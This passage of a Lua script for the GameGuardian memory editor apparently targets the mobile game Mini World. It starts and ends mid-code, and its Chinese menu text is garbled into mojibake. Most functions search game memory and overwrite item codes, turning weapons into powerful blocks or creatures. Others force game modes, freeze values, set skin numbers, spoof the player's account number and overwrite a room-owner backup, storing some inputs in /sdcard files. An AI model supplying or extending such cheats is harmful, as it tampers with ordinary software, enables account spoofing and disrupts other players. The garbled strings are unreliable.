F=gg.alert("ä¹�è°±å�–ç‰©","ä¹�è°±ä¿®æ”¹","æ·»åŠ æŒ‰é’®")if F ~= 1 and F ~= 2 then else end if F==1 then e1 = gg.prompt({"ç¼–ä¹¦å�°:1143\nåœ°å½¢ç¼–è¾‘å™¨:10500\né»‘é¾™ç�«ç�ƒ:15056\nç ´å��æ–¹å�—:11551\nåˆ·æ€ªæ–¹å�—:1080\næ˜Ÿèƒ½å�—:415\næ¶²æ€�æ°´:4"},{[1]=1143},{[1]="number"})[1]gg.toast(so({"ä¿®æ”¹ä¹�è°±",4683671800612126720,4,32},{{13975404208,4,32}},{{e1,-0x10,64,1}}))gg.toast("ä¹�è°±ä¿®æ”¹æˆ�åŠŸ")elseif F==2 then gg.toast(so({"æ·»åŠ æŒ‰é’®",-1024458752,4,4},{{1142292480,-4,4},{16777216,-0x5C,4},{1110179840,-0x1C,4}},{{16777472,-0x5C,4,1}}))gg.toast("æ·»åŠ æŒ‰é’®å¼€å�¯æˆ�åŠŸ")
end end

function XCB17()
UIY=gg.prompt({"è¾“å…¥ä½ è¦�çš„ç‰©å“�çš„ä»£ç �"},{""},{"number"})
if UIY then 
gg.toast(so({("ä¹¦å�°å�–ç‰©"),4628011567076605952,4,32},{{4667716031467225088,200,32}},{{UIY[1],120,64,1},{0,0x140,64,1}}))
gg.toast("ä¹¦å�°å�–ç‰©å¼€å�¯æˆ�åŠŸ")
end
end



function XCB18()
gg.clearResults()
	 gg.setRanges(4)
	 gg.searchNumber("1,120,403,456D;100.0F;0.5F;0.80000001192F;1.29999995232F;3,600D", gg.TYPE_FLOAT, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber("0.80000001192F;1.29999995232F", gg.TYPE_FLOAT, false, gg.SIGN_EQUAL, 0, -1)
	 jg=gg.getResults(100)
	 sl=gg.getResultCount()
	 if sl>100 then sl=100 end
	 for i = 1, sl do
	 	 dzy=jg[i].address
	 	 gg.addListItems({[1] = {address = dzy,flags = gg.TYPE_FLOAT,freeze = true,value = 72}})
	 end
	 gg.toast("å¼€å�¯æˆ�åŠŸ")
	 gg.clearResults()
end



function XCB19()
mnha = io.open("/sdcard/mnh.txt", "rb") if mnha == nil then user = "" pass = "" else
mnha = io.open("/sdcard/mnh.txt"):read("*a") mnh = mnha:match("ğŸ‘£(.-)ğŸ‘£") if mnhh == "" then mnh = "" end end
mnhh=gg.prompt({"è¾“å…¥ä½ çš„è¿·ä½ å�·  æ³¨æ„�:é¦–å…ˆä½ å¾—è¿›ä¸€ä¸‹æˆ¿é—´è�·å�–ç‰¹å¾�ç �!"},{[1] = mnh},{[1] = "number"})   mnh = mnhh[1]  io.open("/sdcard/mnh.txt", "w") io.open("/sdcard/mnh.txt", "w"):write("ğŸ‘£" .. mnh .. "ğŸ‘£"):close()


qmnb = {
{["memory"] = 4},
{["name"] = "è¿·ä½ å�·å¯¹æ�¥"},
{["value"] = 7234350, ["type"] = 4},
{["lv"] = 0, ["offset"] = 0x68, ["type"] = 4},
{["lv"] = 0, ["offset"] = 0x6c, ["type"] = 4},

}
qmxg = {
{["value"] = mnhh[1], ["offset"] = 0x70,  ["type"] = 4, ["freeze"] = true},
}
xqmnb(qmnb)
end



function XCB20()
mnhb = io.open("/sdcard/wmnh.txt", "rb") if mnhb == nil then user = "" pass = "" else
mnhb = io.open("/sdcard/wmnh.txt"):read("*a") wmnh = mnhb:match("ğŸ‘£(.-)ğŸ‘£") if mnha == "" then wmnh = "" end end
mnhk=gg.prompt({"è¾“å…¥ä½ ä½ è¦�æ”¹çš„è¿·ä½ å�·  æ³¨æ„�:åŠ è½½ç•Œé�¢æœ‰å‡ ç�‡å�¡é€€!"},{[1] = wmnh},{[1] = "number"})   wmnh = mnhk[1]  io.open("/sdcard/wmnh.txt", "w") io.open("/sdcard/wmnh.txt", "w"):write("ğŸ‘£" .. wmnh .. "ğŸ‘£"):close()

local t = {"libAppPlayJNI.so:bss", "Cb"}
local tt = {0x1F8, 0x18, 0x0}
local ttt = S_Pointer(t, tt, true)
gg.addListItems({{address = ttt, flags = 4, value = mnhk[1], freeze = true}})
gg.toast("å¼€å�¯æˆ�åŠŸ")
end



function XCB21()
pfdm="è¾“å…¥çš®è‚¤å�·ï¼š1èƒ–è¾¾     2é½�å¤©å°�åœ£     3å…”ç¾�ç¾�     4è¿·æ–¯æ‹‰     5ç�‰ç’ƒå¥–     6ä¹”æ²»     7å¢¨å®¶å°�é£�     8å®‰å¦®     9å¾·å�¤æ‹‰     10å�®å�®å½“     11è�’é‡�çŒ�äºº     12ç¾½å§¬     13æ…•å®¹å•¸å¤©     14ä¹”ä¸€     15ç¯®ç�ƒé˜Ÿé•¿     16å•¦å•¦é˜Ÿé•¿     17éœ²è¥¿     18é»‘å¸½å­�èˆ¹é•¿     19ç”œå¿ƒç�›ä¸½     20é”¦è¡£å�«     21èŠ±å°�æ¥¼     22è�‰è�‰ä¸�     23æœˆæ— å�Œ     24å�¶å°�é¾™     25äºŒç‹¼ç¥�     26é±¼å°�ä¹�     27è¿·ä¿Šä¿Š     28å¹»éŸ³     29å¹»0å¼�     30æŸ³ä»™å„¿     31å¸•æ™®å¥‡     32ç±³å¨œ     33é›ªäºº     34å˜Ÿå˜Ÿå•µå•µ     35å•µå•µ     36å˜Ÿå˜Ÿ     37æ¢¦æ­Œ     38æ–©æµª     39å¤©ä½¿     40æš—ç�µ     50ä¹”å…‹     51å°�è‰¾     52ç§¦å¤©æŸ±     53å¨�éœ‡å¤©     54æ…•æ–¯     55é‡‘æ‚ æ‚      56å–œå›¢å›¢     57æ�—å�ƒæ ‘     58å¤§é»„èœ‚     59èŠ±å¹½å¹½     60æ˜Ÿç�µ     61é›ªç�ƒç�ƒ     62çˆ±ä¸½ä¸�     63é¾Ÿå¤ªéƒ�     64çº¢èœ˜è››     65çƒ­ç ´     66æƒŠç ´å¤©     67åŠ³å°”     68é“ƒéŸ³     69æ¸…å¼¦     70ç´«æ‚¦     71å®‡å®™å…¬ä¸»     72æŸ”æŸ”å¥³å­©     73æœˆäº®å…¬ä¸»     74é’¢ç´¢     75é£�é•–     76åš�å�«     77è¾¾å¥‡     78å¡”ç�³å¨œ     79æ£®æ�—éš�è€…     80å…”å­�æ‹‰æ¯”     81ç¢§ç�ª     82å�¡æ´›å°”     83ä½™å°�ç�¯     84ç« å°�ä¸¸     85ç†Šå°�å�‰     86æ˜Ÿå…‰ç† ç†      87äº‘å®�     88éŸ³éŸµå…¬ä¸» 89åˆ�æ…•     90å†²äº‘éœ„     96å¤§æ— ç•�     91åˆ©çˆª     102åœ£å©´     103ç‰›é­”ç�‹     104ç�µç‘¶     105å°�çº¢å¸½     106è¿·å°�é…·     107ç‹¼å°‘å¹´     108å¤©ä»™å­�é›…     109å¤©ä»™å­�é¢‚     110çº¢ç�«ç‘°å°‘å¥³     111æ©˜å­�     112ç»£ç�ƒèŠ±å°‘å¹´æŸ¥æ��æ–¯     113æ³¡æ³¡     114æœ�éœ²ç¹�èŠ±     115å†°å…¬ä¸»     116çº¢æ¡ƒ     117ç™½å…‰è�¹     118ç�°å§‘å¨˜å…‹é‡Œæ–¯ä¸�     119ç�µå…¬ä¸»     120å°�é¾™äººéº’ä¼‘     121å¦™å¦™     122ç™½å¤©é¹…     123æ—¶ç¨€      124æ´�è�‰      125å¿«å®¢å°�çª�      131æ±‰æ£®      132æ ¼é›·ç‰¹      138æ˜¥é›¨     139é�’å¤�   "
pfa = io.open("/sdcard/pfh.txt", "rb") if pfa == nil then user = "" pass = "" else
pfa = io.open("/sdcard/pfh.txt"):read("*a") pfh = pfa:match("ğŸ‘£(.-)ğŸ‘£") if pfa == "" then pfh = "" end end
pfah=gg.prompt({pfdm},{[1] = pfh},{[1] = "number"})   pfh = pfah[1]  io.open("/sdcard/pfh.txt", "w") io.open("/sdcard/pfh.txt", "w"):write("ğŸ‘£" .. pfh .. "ğŸ‘£"):close()

local t = {"libAppPlayJNI.so:bss", "Cb"}
local tt = {0x1F8, 0x18, 0x64}
local ttt = S_Pointer(t, tt, true)
gg.addListItems({{address = ttt, flags = 4, value = pfah[1], freeze = true}})
gg.toast("å¼€å�¯æˆ�åŠŸ")
end



function Main3()  
SN = gg.multiChoice({
"à¼ºà½Œà¼€â›¦à¿ˆçª�åˆºé•¿æ�ªæ”¹è¿œå�¤å·¨äººà¿ˆâ›¦à¼€à½‘à¼»",--1
"à¼ºà½Œà¼€â›¦à¿ˆèƒ½é‡�å‰‘æ”¹ç¼–è¾‘å™¨à¿ˆâ›¦à¼€à½‘à¼»",--2
"à¼ºà½Œà¼€â›¦à¿ˆçŸ­å‰‘æ”¹é»‘é¾™à¿ˆâ›¦à¼€à½‘à¼»",--3
"à¼ºà½Œà¼€â›¦à¿ˆä¸€é”®ä¿®æ”¹è™šç©ºå¹»å½±ç¥­å�°à¿ˆâ›¦à¼€à½‘à¼»",--4
"à¼ºà½Œà¼€â›¦à¿ˆä¿®æ”¹æ¨¡å¼�à¿ˆâ›¦à¼€à½‘à¼»",--5
"à¼ºà½Œà¼€â›¦à¿ˆé¾™éª¨å¼“æ”¹é»‘é¾™ç�ƒà¿ˆâ›¦à¼€à½‘à¼»",--6
"à¼ºà½Œà¼€â›¦à¿ˆå�¹ç®­ç­’æ”¹ç ´å��æ–¹å�—à¿ˆâ›¦à¼€à½‘à¼»",--7
"à¼ºà½Œà¼€â›¦à¿ˆçŸ³çŸ›æ”¹è™šç©ºå¹»å½±-çŒ›à¿ˆâ›¦à¼€à½‘à¼»",--8
"à¼ºà½Œà¼€â›¦à¿ˆæœ¨æ£’æ”¹æ°´à¿ˆâ›¦à¼€à½‘à¼»",--9
"à¼ºà½Œà¼€â›¦à¿ˆç¢°ç¢°é”¤æ”¹å‰§æ¯’à¿ˆâ›¦à¼€à½‘à¼»",--10
"à¼ºà½Œà¼€â›¦à¿ˆé’¨é‡‘é“²æ”¹æµ�æ²™à¿ˆâ›¦à¼€à½‘à¼»",--11
"à¼ºà½Œà¼€â›¦à¿ˆé’¨é‡‘é•�æ”¹å²©æµ†à¿ˆâ›¦à¼€à½‘à¼»",--12
"à¼ºà½Œà¼€â›¦à¿ˆé’¨é‡‘è€™æ”¹èœ‚èœœà¿ˆâ›¦à¼€à½‘à¼»",--13
"à¼ºà½Œà¼€â›¦à¿ˆæ˜Ÿå›¢äº‘ç“¶æ”¹æ˜Ÿäº‘æ£’à¿ˆâ›¦à¼€à½‘à¼»",--14
"à¼ºà½Œà¼€â›¦à¿ˆè‡ªå®šä¹‰æ”¹ç‰©à¿ˆâ›¦à¼€à½‘à¼»",--15
"à¼ºà½Œà¼€â›¦à¿ˆç§˜é“¶é•�æ”¹æ±¡æŸ“æ ¸å¿ƒà¿ˆâ›¦à¼€à½‘à¼»",--16
"à¼ºà½Œà¼€â›¦à¿ˆå½©è›‹æ”¹é•¿æ–¹ä½“à¿ˆâ›¦à¼€à½‘à¼»",--17
"à¼ºà½Œà¼€â›¦à¿ˆè‡ªå®šä¹‰æ”¹é¦™ç“œà¿ˆâ›¦à¼€à½‘à¼»",--18
"à¼ºà½Œà¼€â›¦à¿ˆèœ‚åˆºé£�é•–æ”¹æ²™è™«à¿ˆâ›¦à¼€à½‘à¼»",--19
"à¼ºà½Œà¼€â›¦à¿ˆè„‰å†²ç®­æ”¹ç¾½è›‡ç¥�à¿ˆâ›¦à¼€à½‘à¼»",--20
"à¼ºà½Œà¼€â›¦à¿ˆé’©çˆªæ”¹è™šç©ºå¹»å½±ï¼�è®¯à¿ˆâ›¦à¼€à½‘à¼»",--21
"à¼ºà½Œà¼€â›¦à¿ˆå¡�å­�æ”¹è¿œå�¤å·¨åƒ�à¿ˆâ›¦à¼€à½‘à¼»",--22
"à¼ºà½Œà¼€â›¦à¿ˆæ”¶å‰²è€…æ”¹è“�è‰²ç‚¸å¼¹à¿ˆâ›¦à¼€à½‘à¼»",--23
"à¼ºà½Œà¼€â›¦à¿ˆé’›é‡‘æˆ˜é”¤æ”¹çº¢è‰²ç‚¸å¼¹à¿ˆâ›¦à¼€à½‘à¼»",--24
"à¼ºà½Œà¼€â›¦à¿ˆçŸ­å¼“æ”¹ç™½è‰²ç‚¸å¼¹à¿ˆâ›¦à¼€à½‘à¼»",--25
"à¼ºà½Œà¼€â›¦à¿ˆå­�å¼¹æ”¹ä»™äº‘æ£’à¿ˆâ›¦à¼€à½‘à¼»",--26
"à¼ºà½Œà¼€â›¦à¿ˆåˆ æˆ¿ä¸»å¤‡ä»½à¿ˆâ›¦à¼€à½‘à¼»",--27
"à¼ºà½Œà¼€â›¦à¿ˆä¿®æ”¹åˆ·æ€ªæ–¹å�—à¿ˆâ›¦à¼€à½‘à¼»",--28
"à¼ºà½Œà¼€â›¦à¿ˆä¸‡ç‚®é½�å�‘à¿ˆâ›¦à¼€à½‘à¼»",
"à¼ºà½Œà¼€â›¦à¿ˆè¿”å›�ä¸»é¡µà¿ˆâ›¦à¼€à½‘à¼»",
 }, nil, "à¼ºà½Œà¼€â›¦à¿ˆå��å¹´è€�å…µ,ç”³è¯·å‡ºæˆ˜à¿ˆâ›¦à¼€à½‘à¼»ï¸�ï¸�ï¸�)")
if SN == nil then else
if SN[1]==true then     XCP1() end
if SN[2]==true then     XCP2() end
if SN[3]==true then     XCP3() end
if SN[4]==true then     XCP4() end
if SN[5]==true then     XCP5() end
if SN[6]==true then     XCP6() end
if SN[7]==true then     XCP7() end
if SN[8]==true then     XCP8() end
if SN[9]==true then     XCP9() end
if SN[10]==true then     XCP10() end
if SN[11]==true then     XCP11() end
if SN[12]==true then     XCP12() end
if SN[13]==true then     XCP13() end
if SN[14]==true then     XCP14() end
if SN[15]==true then     XCP15() end
if SN[16]==true then     XCP16() end
if SN[17]==true then     XCP17() end
if SN[18]==true then     XCP18() end
if SN[19]==true then     XCP19() end
if SN[20]==true then     XCP20() end
if SN[21]==true then     XCP21() end
if SN[22]==true then     XCP22() end
if SN[23]==true then     XCP23() end
if SN[24]==true then     XCP24() end
if SN[25]==true then     XCP25() end
if SN[26]==true then     XCP26() end
if SN[27]==true then     XCP27() end
if SN[28]==true then     XCP28() end
if SN[29]==true then     XCP29() end
if SN[30]==true then     Main() end
end
FX=0 end

function XCP1()
  gg.clearResults()
  gg.setRanges(4)
  gg.searchNumber("12004", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
  gg.getResults(100)
  gg.editAll("13514", gg.TYPE_DWORD)
  gg.toast("ä¿®æ”¹æˆ�åŠŸ")
  gg.clearResults()
end


function XCP2()
  gg.clearResults()
  gg.setRanges(4)
  gg.searchNumber("12005", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
  gg.getResults(100)
  gg.editAll("10500", gg.TYPE_DWORD)
  gg.toast("ä¿®æ”¹æˆ�åŠŸ")
  gg.clearResults()
end



function XCP3()
  gg.clearResults()
  gg.setRanges(4)
  gg.searchNumber("12003", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
  gg.getResults(100)
  gg.editAll("13502", gg.TYPE_DWORD)
  gg.toast("ä¿®æ”¹æˆ�åŠŸ")
  gg.clearResults()
end

function XCP4()
 --ç¬¬ä¸€æ ¼104æ”¹140
qmnb={
{["memory"]=4},
{["name"]=""},
{["value"]=11422,["type"]=4},
{["lv"]=200,["offset"]=-0x1D8,["type"]=4},
}
--b7x2()
qmxg={
{["value"]=140,["offset"]=0,["type"]=4}
}
xqmnb(qmnb)
--b7x2()

--ç¬¬äºŒæ ¼5055æ”¹141
qmnb={
{["memory"]=4},
{["name"]=""},
{["value"]=11423,["type"]=4},
{["lv"]=200,["offset"]=-0x1D8,["type"]=4},
}
--b7x3()
qmxg={
{["value"]=141,["offset"]=0,["type"]=4}
}
xqmnb(qmnb)
--b7x3()

  --ç¬¬ä¸‰æ ¼101æ”¹142
qmnb={
{["memory"]=4},
{["name"]=""},
{["value"]=11654,["type"]=4},
{["lv"]=200,["offset"]=-0x1D8,["type"]=4},
}
--b7x4()
qmxg={
{["value"]=142,["offset"]=0,["type"]=4}
}
xqmnb(qmnb)
end




function XCP5()
xgms2= gg.choice({
"à¼ºà½Œà¼€â›¦à¿ˆç¼– è¾‘ æ¨¡ å¼�à¿ˆâ›¦à¼€à½‘à¼»",
"à¼ºà½Œà¼€â›¦à¿ˆç�© æ³• æ¨¡ å¼�à¿ˆâ›¦à¼€à½‘à¼»",
"à¼ºà½Œà¼€â›¦à¿ˆåˆ› é€  æ¨¡ å¼�à¿ˆâ›¦à¼€à½‘à¼»",
"à¼ºà½Œà¼€â›¦à¿ˆæ¨¡ æ‹Ÿ å†’ é™©à¿ˆâ›¦à¼€à½‘à¼»",
"à¼ºà½Œà¼€â›¦à¿ˆå†’ é™© æ¨¡ å¼�à¿ˆâ›¦à¼€à½‘à¼»",
"à¼ºà½Œà¼€â›¦à¿ˆæ�� é™� ç”Ÿ å­˜à¿ˆâ›¦à¼€à½‘à¼»",
"à¼ºà½Œà¼€â›¦à¿ˆé«˜ çº§ ç”Ÿ å­˜à¿ˆâ›¦à¼€à½‘à¼»",
"à¼ºà½Œà¼€â›¦à¿ˆé«˜ çº§ åˆ› é€ [æµ‹è¯•]à¿ˆâ›¦à¼€à½‘à¼»",
"à¼ºà½Œà¼€â›¦à¿ˆå®¶ å›­ æ¨¡ å¼�[æµ‹è¯•]à¿ˆâ›¦à¼€à½‘à¼»",
"à¼ºà½Œà¼€â›¦à¿ˆè¿” å›� ä¸» é¡µà¿ˆâ›¦à¼€à½‘à¼»"},2018,os.date(""))
if xgms2==1 then msdm=4 msmc="ç¼–è¾‘æ¨¡å¼�" xg2() end--0=å†’é™©æ¨¡å¼�
if xgms2==2 then msdm=5 msmc="ç�©æ³•æ¨¡å¼�" xg2() end--1=åˆ›é€ æ¨¡å¼�
if xgms2==3 then msdm=1 msmc="åˆ›é€ æ¨¡å¼�" xg2() end--2=æ��é™�ç”Ÿå­˜
if xgms2==4 then msdm=3 msmc="æ¨¡æ‹Ÿå†’é™©" xg2() end--3=æ¨¡æ‹Ÿå†’é™©
if xgms2==5 then msdm=0 msmc="å†’é™©æ¨¡å¼�" xg2() end--4=ç¼–è¾‘æ¨¡å¼�
if xgms2==6 then msdm=2 msmc="æ��é™�ç”Ÿå­˜" xg2() end--5=ç�©æ³•æ¨¡å¼�
if xgms2==7 then msdm=6 msmc="é«˜çº§ç”Ÿå­˜" xg2() end--6=é«˜çº§ç”Ÿå­˜
if xgms2==8 then msdm=0x25 msmc="é«˜çº§åˆ›é€ " xg2() end--0x25=é«˜çº§åˆ›é€ 
if xgms2==9 then msdm=20 msmc="å®¶å›­æ¨¡å¼�" xg2() end--20=å®¶å›­æ¨¡å¼�
if xgms2 == 10 then Main() end XGCK=-1 end--è¿”å›�ä¸»é¡µ
function xg2()

local t = {"libAppPlayJNI.so:bss", "Cb"}
local tt = {0x100F38, 0xD0, 0x70}
local ttt = S_Pointer(t, tt, true)
gg.addListItems({{address = ttt, flags = 4, value = xgms2, freeze = true}})
gg.toast("ä¿®æ”¹æ¨¡å¼�å¼€å�¯æˆ�åŠŸ")end



function XCP6()
  gg.clearResults()
  gg.setRanges(4)
  gg.searchNumber("12056", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
  gg.getResults(100)
  gg.editAll("15056", gg.TYPE_DWORD)
  gg.toast("ä¿®æ”¹æˆ�åŠŸ")
  gg.clearResults()
end



function XCP7()
  gg.clearResults()
  gg.setRanges(4)
  gg.searchNumber("12288", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
  gg.getResults(100)
  gg.editAll("11551", gg.TYPE_DWORD)
  gg.toast("ä¿®æ”¹æˆ�åŠŸ")
  gg.clearResults()
end




function XCP8()
  gg.clearResults()
  gg.setRanges(4)
  gg.searchNumber("12002", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
  gg.getResults(100)
  gg.editAll("13516", gg.TYPE_DWORD)
  gg.toast("ä¿®æ”¹æˆ�åŠŸ")
  gg.clearResults()
end



function XCP9()
  gg.clearResults()
  gg.setRanges(4)
  gg.searchNumber("12001", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
  gg.getResults(100)
  gg.editAll("4", gg.TYPE_DWORD)
  gg.toast("ä¿®æ”¹æˆ�åŠŸ")
  gg.clearResults()
end



function XCP10()
  gg.clearResults()
  gg.setRanges(4)
  gg.searchNumber("11230", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
  gg.getResults(100)
  gg.editAll("18", gg.TYPE_DWORD)
  gg.toast("ä¿®æ”¹æˆ�åŠŸ")
  gg.clearResults()
end



function XCP11()
  gg.clearResults()
  gg.setRanges(4)
  gg.searchNumber("11025", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
  gg.getResults(100)
  gg.editAll("14", gg.TYPE_DWORD)
  gg.toast("ä¿®æ”¹æˆ�åŠŸ")
  gg.clearResults()
end



function XCP12()  gg.clearResults()
  gg.setRanges(4)
  gg.searchNumber("11015", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
  gg.getResults(100)
  gg.editAll("6", gg.TYPE_DWORD)
  gg.toast("ä¿®æ”¹æˆ�åŠŸ")
  gg.clearResults()
end



function XCP13()
  gg.clearResults()
  gg.setRanges(4)
  gg.searchNumber("11035", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
  gg.getResults(100)
  gg.editAll("12", gg.TYPE_DWORD)
  gg.toast("ä¿®æ”¹æˆ�åŠŸ")
  gg.clearResults()
end



function XCP14()
  gg.clearResults()
  gg.setRanges(4)
  gg.searchNumber("11095", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
  gg.getResults(100)
  gg.editAll("11063", gg.TYPE_DWORD)
  gg.toast("ä¿®æ”¹æˆ�åŠŸ")
  gg.clearResults()
end



function XCP15()
as2 = gg.prompt({"â†’è¾“å…¥è¦�æ›´æ”¹ç‰©å“�çš„ä»£ç �â†�"}
,{[1]="12005"},{[1]="number"})[1]
as3 = gg.prompt({"â†’è¾“å…¥è¦�æ›´æ”¹ç‰©å“�çš„ä»£ç �â†�"}
,{[1]="15056"},{[1]="number"})[1]
qmnb={
{["memory"]=4},
{["name"]=""},
{["value"]=as2,["type"]=4},
{["lv"]=200,["offset"]=-0x1D8,["type"]=4},
}
qmxg={
{["value"]=as3,["offset"]=0,["type"]=4}
}
xqmnb(qmnb)
end



function XCP16()
  gg.clearResults()
  gg.setRanges(4)
  gg.searchNumber("11013", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
  gg.getResults(100)
  gg.editAll("1049", gg.TYPE_DWORD)
  gg.toast("ä¿®æ”¹æˆ�åŠŸ")
  gg.clearResults()
end



function XCP17()
  gg.clearResults()
  gg.setRanges(4)
  gg.searchNumber("12248", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
  gg.getResults(100)
  gg.editAll("15525", gg.TYPE_DWORD)
  gg.toast("ä¿®æ”¹æˆ�åŠŸ")
  gg.clearResults()
end



function XCP18()
local XG = gg.prompt({"è¾“å…¥æ–¹å�—ä»£ç �"}
,{[1]=835},{[1]="number"})[1]
if not XG then return end
gg.toast(so({"è‡ªå®šä¹‰æ”¹é¦™ç“œå¼€å�¯æˆ�åŠŸ",42949672960230,4,32},{{230,0x10,4},{10000,4,4}},{{XG,-0x60,4}}))
end



function XCP19()
  gg.clearResults()
  gg.setRanges(4)
  gg.searchNumber("12289", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
  gg.getResults(100)
  gg.editAll("13825", gg.TYPE_DWORD)
  gg.toast("ä¿®æ”¹æˆ�åŠŸ")
  gg.clearResults()
end



function XCP20()
  gg.clearResults()
  gg.setRanges(4)
  gg.searchNumber("12292", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
  gg.getResults(100)
  gg.editAll("13878", gg.TYPE_DWORD)
  gg.toast("ä¿®æ”¹æˆ�åŠŸ")
  gg.clearResults()
end



function XCP21()
  gg.clearResults()
  gg.setRanges(4)
  gg.searchNumber("12006", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
  gg.getResults(100)
  gg.editAll("13515", gg.TYPE_DWORD)
  gg.toast("ä¿®æ”¹æˆ�åŠŸ")
  gg.clearResults()
end



function XCP22()
  gg.clearResults()
  gg.setRanges(4)
  gg.searchNumber("12008", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
  gg.getResults(100)
  gg.editAll("13510", gg.TYPE_DWORD)
  gg.toast("ä¿®æ”¹æˆ�åŠŸ")
  gg.clearResults()
end



function XCP23()
  gg.clearResults()
  gg.setRanges(4)
  gg.searchNumber("12009", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
  gg.getResults(100)
  gg.editAll("15064", gg.TYPE_DWORD)
  gg.toast("ä¿®æ”¹æˆ�åŠŸ")
  gg.clearResults()
end



function XCP24()
  gg.clearResults()
  gg.setRanges(4)
  gg.searchNumber("12010", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
  gg.getResults(100)
  gg.editAll("15065", gg.TYPE_DWORD)
  gg.toast("ä¿®æ”¹æˆ�åŠŸ")
  gg.clearResults()
end



function XCP25()
  gg.clearResults()
  gg.setRanges(4)
  gg.searchNumber("12050", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
  gg.getResults(100)
  gg.editAll("15518", gg.TYPE_DWORD)
  gg.toast("ä¿®æ”¹æˆ�åŠŸ")
  gg.clearResults()
end



function XCP26()
  gg.clearResults()
  gg.setRanges(4)
  gg.searchNumber("15003", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
  gg.getResults(100)
  gg.editAll("11063", gg.TYPE_DWORD)
  gg.toast("ä¿®æ”¹æˆ�åŠŸ")
  gg.clearResults()
end



function XCP27()
	 gg.clearResults()
	 gg.setRanges(262207)
	 gg.searchNumber("11011", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber("11011", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 jg=gg.getResults(100)
	 sl=gg.getResultCount()
	 for i = 1, sl do
	 	 dzy=jg[i].address
	 	 gg.addListItems({[1] = {address = dzy,flags = gg.TYPE_DWORD,freeze = true,value = 12005}})
	 end
	 gg.toast("åˆ é™¤å¤‡ä»½æˆ�åŠŸ")
	 gg.clearResults()
end



function XCP28()
xgsgfk= gg.choice({
"à¼ºà½Œà¼€â›¦à¿ˆé»‘é¾™à¿ˆâ›¦à¼€à½‘à¼»",
"à¼ºà½Œà¼€â›¦à¿ˆè¿œå�¤å·¨äººà¿ˆâ›¦à¼€à½‘à¼»",
"à¼ºà½Œà¼€â›¦à¿ˆè™šç©ºå¹»å½±à¿ˆâ›¦à¼€à½‘à¼»",
"à¼ºà½Œà¼€â›¦à¿ˆç¾½è›‡ç¥�à¿ˆâ›¦à¼€à½‘à¼»",
"à¼ºà½Œà¼€â›¦à¿ˆæ²™è™«à¿ˆâ›¦à¼€à½‘à¼»",
"à¼ºà½Œà¼€â›¦à¿ˆéª·ç½—à¿ˆâ›¦à¼€à½‘à¼»",
"à¼ºà½Œà¼€â›¦à¿ˆè¿œå�¤å�®å�®à¿ˆâ›¦à¼€à½‘à¼»",
"à¼ºà½Œà¼€â›¦à¿ˆå¹´å…½å±±è‡Šà¿ˆâ›¦à¼€à½‘à¼»",
"à¼ºà½Œà¼€â›¦à¿ˆå¤§å�‹æµ·ç›—èˆ¹à¿ˆâ›¦à¼€à½‘à¼»",
"à¼ºà½Œà¼€â›¦à¿ˆè‡ªå®šä¹‰æ·»åŠ à¿ˆâ›¦à¼€à½‘à¼»",
"à¼ºà½Œà¼€â›¦à¿ˆè¿”å›�ä¸»é¡µà¿ˆâ›¦à¼€à½‘à¼»",},2018,os.date("à¼ºà½Œà¼€â›¦à¿ˆæˆ‘æ¸´æœ›ä½ ï¼Œæƒ³å’Œä½ äº§ç”Ÿæ›´å¤šçš„è�”ç³»ï¼Œè¦�å’Œä½ äº¤æ�¢é¦™æ°”å’Œç�µé­‚ã€‚æœ‰æ—¶å€™è§‰å¾—ï¼Œä½ åº”è¯¥é�‡è§�ä¸€ä¸ªæ¯”æˆ‘æ›´å¥½çš„äººï¼Œå�¯æ˜¯æˆ‘å–œæ¬¢ä½ çš„æ—¶å€™ï¼Œè§‰å¾—è‡ªå·±ä¹Ÿæ˜¯å€¼å¾—å–œæ¬¢çš„à¿ˆâ›¦à¼€à½‘à¼»ï¸�ï¸�ï¸�"))
if xgsgfk==1 then xgdm=3504 fknxg() end
if xgsgfk==2 then xgdm=3514 fknxg() end
if xgsgfk==3 then xgdm=3516 fknxg() end
if xgsgfk==4 then xgdm=3878 fknxg() end
if xgsgfk==5 then xgdm=3825 fknxg() end
if xgsgfk==6 then xgdm=40001 fknxg() end
if xgsgfk==7 then xgdm=3511 fknxg() end
if xgsgfk==8 then xgdm=3519 fknxg() end
if xgsgfk==9 then xgdm=3227 fknxg() end
if xgsgfk==10  then dyxg() end
if xgsgfk==11 then Main()end XGCK=-1 end
function dyxg()
dyxg = gg.prompt({"è¾“å…¥é‚£ä¸ªç”Ÿç‰©çš„å�¬å”¤ä»£ç �"},{[1]=""},{[1]="number"})[1]gg.toast(so({"æ–¹å�—å†…ç”Ÿç‰©","3400~4622",4,64},{{1084920320,20,4}},{{dyxg,0,64}}))gg.toast("ä¿®æ”¹ç”Ÿç‰©å¼€å�¯æˆ�åŠŸ")end
function fknxg()
